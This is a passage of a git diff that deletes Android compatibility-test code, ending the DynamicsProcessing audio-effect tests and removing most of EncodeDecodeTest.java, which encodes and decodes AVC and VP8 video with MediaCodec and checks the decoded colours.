-                    newConfig.getMbcBandByChannelIndex(i, TEST_BAND_INDEX).getPreGain(),
-                    EPSILON);
-
-            assertEquals("postEQBand gain is different in channel " + i + " band " +
-                    TEST_BAND_INDEX, TEST_GAIN1,
-                    newConfig.getPostEqBandByChannelIndex(i, TEST_BAND_INDEX).getGain(),
-                    EPSILON);
-
-            assertEquals("limiter gain is different in channel " + i,
-                    TEST_GAIN1, newConfig.getLimiterByChannelIndex(i).getPostGain(), EPSILON);
-        }
-    }
-
-    public void test3_3Builder_setChannelTo() throws Exception {
-        if (!hasAudioOutput()) {
-            return;
-        }
-
-        DynamicsProcessing.Config config = getBuilderWithValues(MIN_CHANNEL_COUNT).build();
-        DynamicsProcessing.Config.Builder builder = getBuilderWithValues(TEST_CHANNEL_COUNT);
-
-        Channel channel = new Channel(config.getChannelByChannelIndex(TEST_CHANNEL_INDEX));
-
-        Eq preEq = new Eq(config.getPreEqByChannelIndex(TEST_CHANNEL_INDEX));
-        EqBand preEqBand = new EqBand(preEq.getBand(TEST_BAND_INDEX));
-
-        Mbc mbc = new Mbc(config.getMbcByChannelIndex(TEST_CHANNEL_INDEX));
-        MbcBand mbcBand = new MbcBand(mbc.getBand(TEST_BAND_INDEX));
-
-        Eq postEq = new Eq(config.getPostEqByChannelIndex(TEST_CHANNEL_INDEX));
-        EqBand postEqBand = new EqBand(postEq.getBand(TEST_BAND_INDEX));
-
-        Limiter limiter = new Limiter(config.getLimiterByChannelIndex(TEST_CHANNEL_INDEX));
-
-        // get Stages, apply per channel
-        for (int i = 0; i < TEST_CHANNEL_COUNT; i++) {
-            float gain = i % 2 == 0 ? TEST_GAIN1 : TEST_GAIN2;
-
-            preEqBand.setGain(gain);
-            preEq.setBand(TEST_BAND_INDEX, preEqBand);
-            channel.setPreEq(preEq);
-
-            mbcBand.setPreGain(gain);
-            mbc.setBand(TEST_BAND_INDEX, mbcBand);
-            channel.setMbc(mbc);
-
-            postEqBand.setGain(gain);
-            postEq.setBand(TEST_BAND_INDEX, postEqBand);
-            channel.setPostEq(postEq);
-
-            limiter.setPostGain(gain);
-            channel.setLimiter(limiter);
-
-            builder.setChannelTo(i, channel);
-        }
-        // build and compare
-        DynamicsProcessing.Config newConfig = builder.build();
-        for (int i = 0; i < TEST_CHANNEL_COUNT; i++) {
-            float expectedGain = i % 2 == 0 ? TEST_GAIN1 : TEST_GAIN2;
-            assertEquals("preEQBand gain is different in channel " + i + " band " + TEST_BAND_INDEX,
-                    expectedGain,
-                    newConfig.getPreEqBandByChannelIndex(i, TEST_BAND_INDEX).getGain(),
-                    EPSILON);
-
-            assertEquals("mbcBand preGain is different in channel " + i + " band " +
-                    TEST_BAND_INDEX, expectedGain,
-                    newConfig.getMbcBandByChannelIndex(i, TEST_BAND_INDEX).getPreGain(),
-                    EPSILON);
-
-            assertEquals("postEQBand gain is different in channel " + i + " band " +
-                    TEST_BAND_INDEX, expectedGain,
-                    newConfig.getPostEqBandByChannelIndex(i, TEST_BAND_INDEX).getGain(),
-                    EPSILON);
-
-            assertEquals("limiter gain is different in channel " + i,
-                    expectedGain, newConfig.getLimiterByChannelIndex(i).getPostGain(), EPSILON);
-        }
-    }
-    // -----------------------------------------------------------------
-    // private methods
-    // ----------------------------------
-
-    private void createDynamicsProcessing(int session) {
-        createDynamicsProcessingWithConfig(session, null);
-    }
-
-    private void createDynamicsProcessingWithConfig(int session, DynamicsProcessing.Config config) {
-        releaseDynamicsProcessing();
-        try {
-            mDP = (config == null ? new DynamicsProcessing(session)
-                    : new DynamicsProcessing(0 /* priority */, session, config));
-        } catch (IllegalArgumentException e) {
-            Log.e(TAG, "createDynamicsProcessingWithConfig() DynamicsProcessing not found"
-                    + "exception: ", e);
-        } catch (UnsupportedOperationException e) {
-            Log.e(TAG, "createDynamicsProcessingWithConfig() Effect library not loaded exception: ",
-                    e);
-        }
-        assertNotNull("could not create DynamicsProcessing", mDP);
-    }
-
-    private void releaseDynamicsProcessing() {
-        if (mDP != null) {
-            mDP.release();
-            mDP = null;
-        }
-    }
-
-    private void createDefaultEffect() {
-        DynamicsProcessing.Config config = getBuilderWithValues().build();
-        assertNotNull("null config", config);
-
-        AudioManager am = (AudioManager) getContext().getSystemService(Context.AUDIO_SERVICE);
-        assertNotNull("null AudioManager", am);
-
-        int session = am.generateAudioSessionId();
-        assertTrue("cannot generate new session", session != AudioManager.ERROR);
-
-        createDynamicsProcessingWithConfig(session, config);
-    }
-
-    private DynamicsProcessing.Config.Builder getBuilder(int channelCount) {
-        // simple config
-        DynamicsProcessing.Config.Builder builder = new DynamicsProcessing.Config.Builder(
-                DEFAULT_VARIANT /* variant */,
-                channelCount/* channels */,
-                DEFAULT_PREEQ_IN_USE /* enable preEQ */,
-                DEFAULT_PREEQ_BAND_COUNT /* preEq bands */,
-                DEFAULT_MBC_IN_USE /* enable mbc */,
-                DEFAULT_MBC_BAND_COUNT /* mbc bands */,
-                DEFAULT_POSTEQ_IN_USE /* enable postEq */,
-                DEFAULT_POSTEQ_BAND_COUNT /* postEq bands */,
-                DEFAULT_LIMITER_IN_USE /* enable limiter */);
-
-        return builder;
-    }
-
-    private DynamicsProcessing.Config.Builder getBuilderWithValues(int channelCount) {
-        // simple config
-        DynamicsProcessing.Config.Builder builder = getBuilder(channelCount);
-
-        // Set Defaults
-        builder.setPreferredFrameDuration(DEFAULT_FRAME_DURATION);
-        builder.setInputGainAllChannelsTo(DEFAULT_INPUT_GAIN);
-        return builder;
-    }
-
-    private DynamicsProcessing.Config.Builder getBuilderWithValues() {
-        return getBuilderWithValues(MIN_CHANNEL_COUNT);
-    }
-
-}
diff --git a/tests/tests/media/src/android/media/cts/EncodeDecodeTest.java b/tests/tests/media/src/android/media/cts/EncodeDecodeTest.java
deleted file mode 100755
index b82019a..0000000
--- a/tests/tests/media/src/android/media/cts/EncodeDecodeTest.java
+++ /dev/null
@@ -1,1386 +0,0 @@
-/*
- * Copyright (C) 2013 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.graphics.ImageFormat;
-import android.media.Image;
-import android.media.MediaCodec;
-import android.media.MediaCodecInfo;
-import android.media.MediaCodecList;
-import android.media.MediaFormat;
-import android.opengl.GLES20;
-import android.platform.test.annotations.Presubmit;
-import android.platform.test.annotations.RequiresDevice;
-import android.test.AndroidTestCase;
-import android.util.Log;
-
-import androidx.test.filters.FlakyTest;
-import androidx.test.filters.SmallTest;
-
-import com.android.compatibility.common.util.MediaUtils;
-
-import java.io.FileOutputStream;
-import java.io.IOException;
-import java.nio.ByteBuffer;
-import java.util.Arrays;
-
-import javax.microedition.khronos.opengles.GL10;
-
-/**
- * Generates a series of video frames, encodes them, decodes them, and tests for significant
- * divergence from the original.
- * <p>
- * We copy the data from the encoder's output buffers to the decoder's input buffers, running
- * them in parallel.  The first buffer output for video/avc contains codec configuration data,
- * which we must carefully forward to the decoder.
- * <p>
- * An alternative approach would be to save the output of the decoder as an mpeg4 video
- * file, and read it back in from disk.  The data we're generating is just an elementary
- * stream, so we'd need to perform additional steps to make that happen.
- */
-@Presubmit
-@SmallTest
-@RequiresDevice
-// TODO: b/186001256
-@FlakyTest
-public class EncodeDecodeTest extends AndroidTestCase {
-    private static final String TAG = "EncodeDecodeTest";
-    private static final boolean VERBOSE = false;           // lots of logging
-    private static final boolean DEBUG_SAVE_FILE = false;   // save copy of encoded movie
-    private static final String DEBUG_FILE_NAME_BASE = "/sdcard/test.";
-
-    // parameters for the encoder
-                                                            // H.264 Advanced Video Coding
-    private static final String MIME_TYPE_AVC = MediaFormat.MIMETYPE_VIDEO_AVC;
-    private static final String MIME_TYPE_VP8 = MediaFormat.MIMETYPE_VIDEO_VP8;
-    private static final int FRAME_RATE = 15;               // 15fps
-    private static final int IFRAME_INTERVAL = 10;          // 10 seconds between I-frames
-
-    // movie length, in frames
-    private static final int NUM_FRAMES = 30;               // two seconds of video
-
-    private static final int TEST_Y = 120;                  // YUV values for colored rect
-    private static final int TEST_U = 160;
-    private static final int TEST_V = 200;
-    private static final int TEST_R0 = 0;                   // RGB equivalent of {0,0,0} (BT.601)
-    private static final int TEST_G0 = 136;
-    private static final int TEST_B0 = 0;
-    private static final int TEST_R1 = 236;                 // RGB equivalent of {120,160,200} (BT.601)
-    private static final int TEST_G1 = 50;
-    private static final int TEST_B1 = 186;
-    private static final int TEST_R0_BT709 = 0;             // RGB equivalent of {0,0,0} (BT.709)
-    private static final int TEST_G0_BT709 = 77;
-    private static final int TEST_B0_BT709 = 0;
-    private static final int TEST_R1_BT709 = 250;           // RGB equivalent of {120,160,200} (BT.709)
-    private static final int TEST_G1_BT709 = 76;
-    private static final int TEST_B1_BT709 = 189;
-    private static final boolean USE_NDK = true;
-
-    // size of a frame, in pixels
-    private int mWidth = -1;
-    private int mHeight = -1;
-    // bit rate, in bits per second
-    private int mBitRate = -1;
-    private String mMimeType = MIME_TYPE_AVC;
-
-    // largest color component delta seen (i.e. actual vs. expected)
-    private int mLargestColorDelta;
-
-    // validate YUV->RGB decoded frames against BT.601 and/or BT.709
-    private boolean mAllowBT601 = true;
-    private boolean mAllowBT709 = false;
-
-    /**
-     * Tests streaming of AVC video through the encoder and decoder.  Data is encoded from
-     * a series of byte[] buffers and decoded into ByteBuffers.  The output is checked for
-     * validity.
-     */
-    public void testEncodeDecodeVideoFromBufferToBufferQCIF() throws Exception {
-        setParameters(176, 144, 1000000, MIME_TYPE_AVC, true, false);
-        encodeDecodeVideoFromBuffer(false);
-    }
-    public void testEncodeDecodeVideoFromBufferToBufferQVGA() throws Exception {
-        setParameters(320, 240, 2000000, MIME_TYPE_AVC, true, false);
-        encodeDecodeVideoFromBuffer(false);
-    }
-    public void testEncodeDecodeVideoFromBufferToBuffer720p() throws Exception {
-        setParameters(1280, 720, 6000000, MIME_TYPE_AVC, true, false);
-        encodeDecodeVideoFromBuffer(false);
-    }
-
-    /**
-     * Tests streaming of VP8 video through the encoder and decoder.  Data is encoded from
-     * a series of byte[] buffers and decoded into ByteBuffers.  The output is checked for
-     * validity.
-     */
-    public void testVP8EncodeDecodeVideoFromBufferToBufferQCIF() throws Exception {
-        setParameters(176, 144, 1000000, MIME_TYPE_VP8, true, false);
-        encodeDecodeVideoFromBuffer(false);
-    }
-    public void testVP8EncodeDecodeVideoFromBufferToBufferQVGA() throws Exception {
-        setParameters(320, 240, 2000000, MIME_TYPE_VP8, true, false);
-        encodeDecodeVideoFromBuffer(false);
-    }
-    public void testVP8EncodeDecodeVideoFromBufferToBuffer720p() throws Exception {
-        setParameters(1280, 720, 6000000, MIME_TYPE_VP8, true, false);
-        encodeDecodeVideoFromBuffer(false);
-    }
-
-    /**
-     * Tests streaming of AVC video through the encoder and decoder.  Data is encoded from
-     * a series of byte[] buffers and decoded into Surfaces.  The output is checked for
-     * validity.
-     * <p>
-     * Because of the way SurfaceTexture.OnFrameAvailableListener works, we need to run this
-     * test on a thread that doesn't have a Looper configured.  If we don't, the test will
-     * pass, but we won't actually test the output because we'll never receive the "frame
-     * available" notifications".  The CTS test framework seems to be configuring a Looper on
-     * the test thread, so we have to hand control off to a new thread for the duration of
-     * the test.
-     */
-    public void testEncodeDecodeVideoFromBufferToSurfaceQCIF() throws Throwable {
-        setParameters(176, 144, 1000000, MIME_TYPE_AVC, true, false);
-        BufferToSurfaceWrapper.runTest(this);
-    }
-    public void testEncodeDecodeVideoFromBufferToSurfaceQVGA() throws Throwable {
-        setParameters(320, 240, 2000000, MIME_TYPE_AVC, true, false);
-        BufferToSurfaceWrapper.runTest(this);
-    }
-    public void testEncodeDecodeVideoFromBufferToSurface720p() throws Throwable {
-        setParameters(1280, 720, 6000000, MIME_TYPE_AVC, true, true);
-        BufferToSurfaceWrapper.runTest(this);
-    }
-
-    /**
-     * Tests streaming of VP8 video through the encoder and decoder.  Data is encoded from
-     * a series of byte[] buffers and decoded into Surfaces.  The output is checked for
-     * validity.
-     */
-    public void testVP8EncodeDecodeVideoFromBufferToSurfaceQCIF() throws Throwable {
-        setParameters(176, 144, 1000000, MIME_TYPE_VP8, true, false);
-        BufferToSurfaceWrapper.runTest(this);
-    }
-    public void testVP8EncodeDecodeVideoFromBufferToSurfaceQVGA() throws Throwable {
-        setParameters(320, 240, 2000000, MIME_TYPE_VP8, true, false);
-        BufferToSurfaceWrapper.runTest(this);
-    }
-    public void testVP8EncodeDecodeVideoFromBufferToSurface720p() throws Throwable {
-        setParameters(1280, 720, 6000000, MIME_TYPE_VP8, true, true);
-        BufferToSurfaceWrapper.runTest(this);
-    }
-
-    /** Wraps testEncodeDecodeVideoFromBuffer(true) */
-    private static class BufferToSurfaceWrapper implements Runnable {
-        private Throwable mThrowable;
-        private EncodeDecodeTest mTest;
-
-        private BufferToSurfaceWrapper(EncodeDecodeTest test) {
-            mTest = test;
-        }
-
-        @Override
-        public void run() {
-            try {
-                mTest.encodeDecodeVideoFromBuffer(true);
-            } catch (Throwable th) {
-                mThrowable = th;
-            }
-        }
-
-        /**
-         * Entry point.
-         */
-        public static void runTest(EncodeDecodeTest obj) throws Throwable {
-            BufferToSurfaceWrapper wrapper = new BufferToSurfaceWrapper(obj);
-            Thread th = new Thread(wrapper, "codec test");
-            th.start();
-            th.join();
-            if (wrapper.mThrowable != null) {
-                throw wrapper.mThrowable;
-            }
-        }
-    }
-
-    /**
-     * Tests streaming of AVC video through the encoder and decoder.  Data is provided through
-     * a Surface and decoded onto a Surface.  The output is checked for validity.
-     */
-    public void testEncodeDecodeVideoFromSurfaceToSurfaceQCIF() throws Throwable {
-        setParameters(176, 144, 1000000, MIME_TYPE_AVC, true, false);
-        SurfaceToSurfaceWrapper.runTest(this, false, false);
-    }
-    public void testEncodeDecodeVideoFromSurfaceToSurfaceQVGA() throws Throwable {
-        setParameters(320, 240, 2000000, MIME_TYPE_AVC, true, false);
-        SurfaceToSurfaceWrapper.runTest(this, false, false);
-    }
-    public void testEncodeDecodeVideoFromSurfaceToSurface720p() throws Throwable {
-        setParameters(1280, 720, 6000000, MIME_TYPE_AVC, true, false);
-        SurfaceToSurfaceWrapper.runTest(this, false, false);
-    }
-    public void testEncodeDecodeVideoFromSurfaceToSurface720pNdk() throws Throwable {
-        setParameters(1280, 720, 6000000, MIME_TYPE_AVC, true, false);
-        SurfaceToSurfaceWrapper.runTest(this, false, USE_NDK);
-    }
-
-    /**
-     * Tests streaming of AVC video through the encoder and decoder.  Data is provided through
-     * a PersistentSurface and decoded onto a Surface.  The output is checked for validity.
-     */
-    public void testEncodeDecodeVideoFromPersistentSurfaceToSurfaceQCIF() throws Throwable {
-        setParameters(176, 144, 1000000, MIME_TYPE_AVC, true, false);
-        SurfaceToSurfaceWrapper.runTest(this, true, false);
-    }
-    public void testEncodeDecodeVideoFromPersistentSurfaceToSurfaceQVGA() throws Throwable {
-        setParameters(320, 240, 2000000, MIME_TYPE_AVC, true, false);
-        SurfaceToSurfaceWrapper.runTest(this, true, false);
-    }
-    public void testEncodeDecodeVideoFromPersistentSurfaceToSurface720p() throws Throwable {
-        setParameters(1280, 720, 6000000, MIME_TYPE_AVC, true, false);
-        SurfaceToSurfaceWrapper.runTest(this, true, false);
-    }
-    public void testEncodeDecodeVideoFromPersistentSurfaceToSurface720pNdk() throws Throwable {
-        setParameters(1280, 720, 6000000, MIME_TYPE_AVC, true, false);
-        SurfaceToSurfaceWrapper.runTest(this, true, USE_NDK);
-    }
-
-    /**
-     * Tests streaming of VP8 video through the encoder and decoder.  Data is provided through
-     * a Surface and decoded onto a Surface.  The output is checked for validity.
-     */
-    public void testVP8EncodeDecodeVideoFromSurfaceToSurfaceQCIF() throws Throwable {
-        setParameters(176, 144, 1000000, MIME_TYPE_VP8, true, false);
-        SurfaceToSurfaceWrapper.runTest(this, false, false);
-    }
-    public void testVP8EncodeDecodeVideoFromSurfaceToSurfaceQVGA() throws Throwable {
-        setParameters(320, 240, 2000000, MIME_TYPE_VP8, true, false);
-        SurfaceToSurfaceWrapper.runTest(this, false, false);
-    }
-    public void testVP8EncodeDecodeVideoFromSurfaceToSurface720p() throws Throwable {
-        setParameters(1280, 720, 6000000, MIME_TYPE_VP8, true, false);
-        SurfaceToSurfaceWrapper.runTest(this, false, false);
-    }
-    public void testVP8EncodeDecodeVideoFromSurfaceToSurface720pNdk() throws Throwable {
-        setParameters(1280, 720, 6000000, MIME_TYPE_VP8, true, false);
-        SurfaceToSurfaceWrapper.runTest(this, false, USE_NDK);
-    }
-
-    /**
-     * Tests streaming of VP8 video through the encoder and decoder.  Data is provided through
-     * a PersistentSurface and decoded onto a Surface.  The output is checked for validity.
-     */
-    public void testVP8EncodeDecodeVideoFromPersistentSurfaceToSurfaceQCIF() throws Throwable {
-        setParameters(176, 144, 1000000, MIME_TYPE_VP8, true, false);
-        SurfaceToSurfaceWrapper.runTest(this, true, false);
-    }
-    public void testVP8EncodeDecodeVideoFromPersistentSurfaceToSurfaceQVGA() throws Throwable {
-        setParameters(320, 240, 2000000, MIME_TYPE_VP8, true, false);
-        SurfaceToSurfaceWrapper.runTest(this, true, false);
-    }
-    public void testVP8EncodeDecodeVideoFromPersistentSurfaceToSurface720p() throws Throwable {
-        setParameters(1280, 720, 6000000, MIME_TYPE_VP8, true, false);
-        SurfaceToSurfaceWrapper.runTest(this, true, false);
-    }
-    public void testVP8EncodeDecodeVideoFromPersistentSurfaceToSurface720pNdk() throws Throwable {
-        setParameters(1280, 720, 6000000, MIME_TYPE_VP8, true, false);
-        SurfaceToSurfaceWrapper.runTest(this, true, USE_NDK);
-    }
-
-    /** Wraps testEncodeDecodeVideoFromSurfaceToSurface() */
-    private static class SurfaceToSurfaceWrapper implements Runnable {
-        private Throwable mThrowable;
-        private EncodeDecodeTest mTest;
-        private boolean mUsePersistentInput;
-        private boolean mUseNdk;
-
-        private SurfaceToSurfaceWrapper(EncodeDecodeTest test, boolean persistent, boolean useNdk) {
-            mTest = test;
-            mUsePersistentInput = persistent;
-            mUseNdk = useNdk;
-        }
-
-        @Override
-        public void run() {
-            if (mTest.shouldSkip()) {
-                return;
-            }
-
-            InputSurfaceInterface inputSurface = null;
-            try {
-                if (!mUsePersistentInput) {
-                    mTest.encodeDecodeVideoFromSurfaceToSurface(null, mUseNdk);
-                } else {
-                    Log.d(TAG, "creating persistent surface");
-                    if (mUseNdk) {
-                        inputSurface = NdkMediaCodec.createPersistentInputSurface();
-                    } else {
-                        inputSurface = new InputSurface(MediaCodec.createPersistentInputSurface());
-                    }
-
-                    for (int i = 0; i < 3; i++) {
-                        Log.d(TAG, "test persistent surface - round " + i);
-                        mTest.encodeDecodeVideoFromSurfaceToSurface(inputSurface, mUseNdk);
-                    }
-                }
-            } catch (Throwable th) {
-                mThrowable = th;
-            } finally {
-                if (inputSurface != null) {
-                    inputSurface.release();
-                }
-            }
-        }
-
-        /**
-         * Entry point.
-         */
-        public static void runTest(EncodeDecodeTest obj, boolean persisent, boolean useNdk)
-                throws Throwable {
-            SurfaceToSurfaceWrapper wrapper =
-                    new SurfaceToSurfaceWrapper(obj, persisent, useNdk);
-            Thread th = new Thread(wrapper, "codec test");
-            th.start();
-            th.join();
-            if (wrapper.mThrowable != null) {
-                throw wrapper.mThrowable;
-            }
-        }
-    }
-
-    /**
-     * Sets the desired frame size and bit rate.
-     */
-    protected void setParameters(int width, int height, int bitRate, String mimeType,
-	        boolean allowBT601, boolean allowBT709) {
-        if ((width % 16) != 0 || (height % 16) != 0) {
-            Log.w(TAG, "WARNING: width or height not multiple of 16");
-        }
-        mWidth = width;
-        mHeight = height;
-        mBitRate = bitRate;
-        mMimeType = mimeType;
-        mAllowBT601 = allowBT601;
-        mAllowBT709 = allowBT709;
-    }
-
-    private boolean shouldSkip() {
-        if (!MediaUtils.hasEncoder(mMimeType)) {
-            return true;
-        }
-
-        MediaFormat format = MediaFormat.createVideoFormat(mMimeType, mWidth, mHeight);
-        format.setInteger(MediaFormat.KEY_BIT_RATE, mBitRate);
-        format.setInteger(MediaFormat.KEY_FRAME_RATE, FRAME_RATE);
-        format.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, IFRAME_INTERVAL);
-        if (!MediaUtils.checkEncoderForFormat(format)) {
-            return true;
-        }
-
-        return false;
-    }
-
-    /**
-     * Tests encoding and subsequently decoding video from frames generated into a buffer.
-     * <p>
-     * We encode several frames of a video test pattern using MediaCodec, then decode the
-     * output with MediaCodec and do some simple checks.
-     * <p>
-     * See http://b.android.com/37769 for a discussion of input format pitfalls.
-     */
-    private void encodeDecodeVideoFromBuffer(boolean toSurface) throws Exception {
-        if (shouldSkip()) {
-            return;
-        }
-
-        MediaCodec encoder = null;
-        MediaCodec decoder = null;
-
-        mLargestColorDelta = -1;
-
-        try {
-            // We avoid the device-specific limitations on width and height by using values that
-            // are multiples of 16, which all tested devices seem to be able to handle.
-            MediaFormat format = MediaFormat.createVideoFormat(mMimeType, mWidth, mHeight);
-            MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
-            String codec = mcl.findEncoderForFormat(format);
-            if (codec == null) {
-                // Don't fail CTS if they don't have an AVC codec (not here, anyway).
-                Log.e(TAG, "Unable to find an appropriate codec for " + format);
-                return;
-            }
-            if (VERBOSE) Log.d(TAG, "found codec: " + codec);
-
-            String codec_decoder = mcl.findDecoderForFormat(format);
-            if (codec_decoder == null) {
-                Log.e(TAG, "Unable to find an appropriate codec for " + format);
-                return;
-            }
-
-            // Create a MediaCodec for the desired codec, then configure it as an encoder with
-            // our desired properties.
-            encoder = MediaCodec.createByCodecName(codec);
-
-            int colorFormat = selectColorFormat(encoder.getCodecInfo(), mMimeType);
-            if (VERBOSE) Log.d(TAG, "found colorFormat: " + colorFormat);
-
-            // Set some properties.  Failing to specify some of these can cause the MediaCodec
-            // configure() call to throw an unhelpful exception.
-            format.setInteger(MediaFormat.KEY_COLOR_FORMAT, colorFormat);
-            format.setInteger(MediaFormat.KEY_BIT_RATE, mBitRate);
-            format.setInteger(MediaFormat.KEY_FRAME_RATE, FRAME_RATE);
-            format.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, IFRAME_INTERVAL);
-            if (VERBOSE) Log.d(TAG, "format: " + format);
-
-            encoder.configure(format, null, null, MediaCodec.CONFIGURE_FLAG_ENCODE);
-            encoder.start();
-
-            // Create a MediaCodec for the decoder, just based on the MIME type.  The various
-            // format details will be passed through the csd-0 meta-data later on.
-            decoder = MediaCodec.createByCodecName(codec_decoder);
-            if (VERBOSE) Log.d(TAG, "got decoder: " + decoder.getName());
-
-            doEncodeDecodeVideoFromBuffer(encoder, colorFormat, decoder, toSurface);
-        } finally {
-            if (VERBOSE) Log.d(TAG, "releasing codecs");
-            if (encoder != null) {
-                encoder.stop();
-                encoder.release();
-            }
-            if (decoder != null) {
-                decoder.stop();
-                decoder.release();
-            }
-
-            Log.i(TAG, "Largest color delta: " + mLargestColorDelta);
-        }
-    }
-
-    /**
-     * Tests encoding and subsequently decoding video from frames generated into a buffer.
-     * <p>
-     * We encode several frames of a video test pattern using MediaCodec, then decode the
-     * output with MediaCodec and do some simple checks.
-     */
-    private void encodeDecodeVideoFromSurfaceToSurface(InputSurfaceInterface inSurf, boolean useNdk) throws Exception {
-        MediaCodecWrapper encoder = null;
-        MediaCodec decoder = null;
-        InputSurfaceInterface inputSurface = inSurf;
-        OutputSurface outputSurface = null;
-
-        mLargestColorDelta = -1;
-
-        try {
-            // We avoid the device-specific limitations on width and height by using values that
-            // are multiples of 16, which all tested devices seem to be able to handle.
-            MediaFormat format = MediaFormat.createVideoFormat(mMimeType, mWidth, mHeight);
-            MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
-            String codec = mcl.findEncoderForFormat(format);
-            if (codec == null) {
-                // Don't fail CTS if they don't have an AVC codec (not here, anyway).
-                Log.e(TAG, "Unable to find an appropriate codec for " + format);
-                return;
-            }
-            if (VERBOSE) Log.d(TAG, "found codec: " + codec);
-
-            int colorFormat = MediaCodecInfo.CodecCapabilities.COLOR_FormatSurface;
-
-            // Set some properties.  Failing to specify some of these can cause the MediaCodec
-            // configure() call to throw an unhelpful exception.
-            format.setInteger(MediaFormat.KEY_COLOR_FORMAT, colorFormat);
-            format.setInteger(MediaFormat.KEY_BIT_RATE, mBitRate);
-            format.setInteger(MediaFormat.KEY_FRAME_RATE, FRAME_RATE);
-            format.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, IFRAME_INTERVAL);
-
-            // Set color parameters
-            format.setInteger(MediaFormat.KEY_COLOR_RANGE, MediaFormat.COLOR_RANGE_LIMITED);
-            format.setInteger(MediaFormat.KEY_COLOR_STANDARD, MediaFormat.COLOR_STANDARD_BT601_PAL);
-            format.setInteger(MediaFormat.KEY_COLOR_TRANSFER, MediaFormat.COLOR_TRANSFER_SDR_VIDEO);
-
-            if (VERBOSE) Log.d(TAG, "format: " + format);
-
-            // Create the output surface.
-            outputSurface = new OutputSurface(mWidth, mHeight);
-
-            // Create a MediaCodec for the decoder, just based on the MIME type.  The various
-            // format details will be passed through the csd-0 meta-data later on.
-            String codec_decoder = mcl.findDecoderForFormat(format);
-            if (codec_decoder == null) {
-                Log.e(TAG, "Unable to find an appropriate codec for " + format);
-                return;
-            }
-            decoder = MediaCodec.createByCodecName(codec_decoder);
-            if (VERBOSE) Log.d(TAG, "got decoder: " + decoder.getName());
-            decoder.configure(format, outputSurface.getSurface(), null, 0);
-            decoder.start();
-
-            // Create a MediaCodec for the desired codec, then configure it as an encoder with
-            // our desired properties.  Request a Surface to use for input.
-            if (useNdk) {
-                encoder = new NdkMediaCodec(codec);
-            }else {
-                encoder = new SdkMediaCodec(MediaCodec.createByCodecName(codec));
-            }
-            encoder.configure(format, MediaCodec.CONFIGURE_FLAG_ENCODE);
-            if (inSurf != null) {
-                Log.d(TAG, "using persistent surface");
-                encoder.setInputSurface(inputSurface);
-                inputSurface.updateSize(mWidth, mHeight);
-            } else {
-                inputSurface = encoder.createInputSurface();
-            }
-            encoder.start();
-
-            doEncodeDecodeVideoFromSurfaceToSurface(encoder, inputSurface, decoder, outputSurface);
-        } finally {
-            if (VERBOSE) Log.d(TAG, "releasing codecs");
-            if (inSurf == null && inputSurface != null) {
-                inputSurface.release();
-            }
-            if (outputSurface != null) {
-                outputSurface.release();
-            }
-            if (encoder != null) {
-                encoder.stop();
-                encoder.release();
-            }
-            if (decoder != null) {
-                decoder.stop();
-                decoder.release();
-            }
-
-            Log.i(TAG, "Largest color delta: " + mLargestColorDelta);
-        }
-    }
-
-    /**
-     * Returns a color format that is supported by the codec and by this test code.  If no
-     * match is found, this throws a test failure -- the set of formats known to the test
-     * should be expanded for new platforms.
-     */
-    private static int selectColorFormat(MediaCodecInfo codecInfo, String mimeType) {
-        MediaCodecInfo.CodecCapabilities capabilities = codecInfo.getCapabilitiesForType(mimeType);
-        for (int i = 0; i < capabilities.colorFormats.length; i++) {
-            int colorFormat = capabilities.colorFormats[i];
-            if (isRecognizedFormat(colorFormat)) {
-                return colorFormat;
-            }
-        }
-        fail("couldn't find a good color format for " + codecInfo.getName() + " / " + mimeType);
-        return 0;   // not reached
-    }
-
-    /**
-     * Returns true if this is a color format that this test code understands (i.e. we know how
-     * to read and generate frames in this format).
-     */
-    private static boolean isRecognizedFormat(int colorFormat) {
-        switch (colorFormat) {
-            // these are the formats we know how to handle for this test
-            case MediaCodecInfo.CodecCapabilities.COLOR_FormatYUV420Planar:
-            case MediaCodecInfo.CodecCapabilities.COLOR_FormatYUV420PackedPlanar:
-            case MediaCodecInfo.CodecCapabilities.COLOR_FormatYUV420SemiPlanar:
-            case MediaCodecInfo.CodecCapabilities.COLOR_FormatYUV420PackedSemiPlanar:
-            case MediaCodecInfo.CodecCapabilities.COLOR_TI_FormatYUV420PackedSemiPlanar:
-                return true;
-            default:
-                return false;
-        }
-    }
-
-    /**
-     * Returns true if the specified color format is semi-planar YUV.  Throws an exception
-     * if the color format is not recognized (e.g. not YUV).
-     */
-    private static boolean isSemiPlanarYUV(int colorFormat) {
-        switch (colorFormat) {
-            case MediaCodecInfo.CodecCapabilities.COLOR_FormatYUV420Planar:
-            case MediaCodecInfo.CodecCapabilities.COLOR_FormatYUV420PackedPlanar:
-                return false;
-            case MediaCodecInfo.CodecCapabilities.COLOR_FormatYUV420SemiPlanar:
-            case MediaCodecInfo.CodecCapabilities.COLOR_FormatYUV420PackedSemiPlanar:
-            case MediaCodecInfo.CodecCapabilities.COLOR_TI_FormatYUV420PackedSemiPlanar:
-                return true;
-            default:
-                throw new RuntimeException("unknown format " + colorFormat);
-        }
-    }
-
-    /**
-     * Does the actual work for encoding frames from buffers of byte[].
-     */
-    private void doEncodeDecodeVideoFromBuffer(MediaCodec encoder, int encoderColorFormat,
-            MediaCodec decoder, boolean toSurface) {
-        final int TIMEOUT_USEC = 10000;
-        ByteBuffer[] encoderInputBuffers = encoder.getInputBuffers();
-        ByteBuffer[] encoderOutputBuffers = encoder.getOutputBuffers();
-        ByteBuffer[] decoderInputBuffers = null;
-        ByteBuffer[] decoderOutputBuffers = null;
-        MediaCodec.BufferInfo decoderInfo = new MediaCodec.BufferInfo();
-        MediaCodec.BufferInfo encoderInfo = new MediaCodec.BufferInfo();
-        MediaFormat decoderOutputFormat = null;
-        int generateIndex = 0;
-        int checkIndex = 0;
-        int badFrames = 0;
-        boolean decoderConfigured = false;
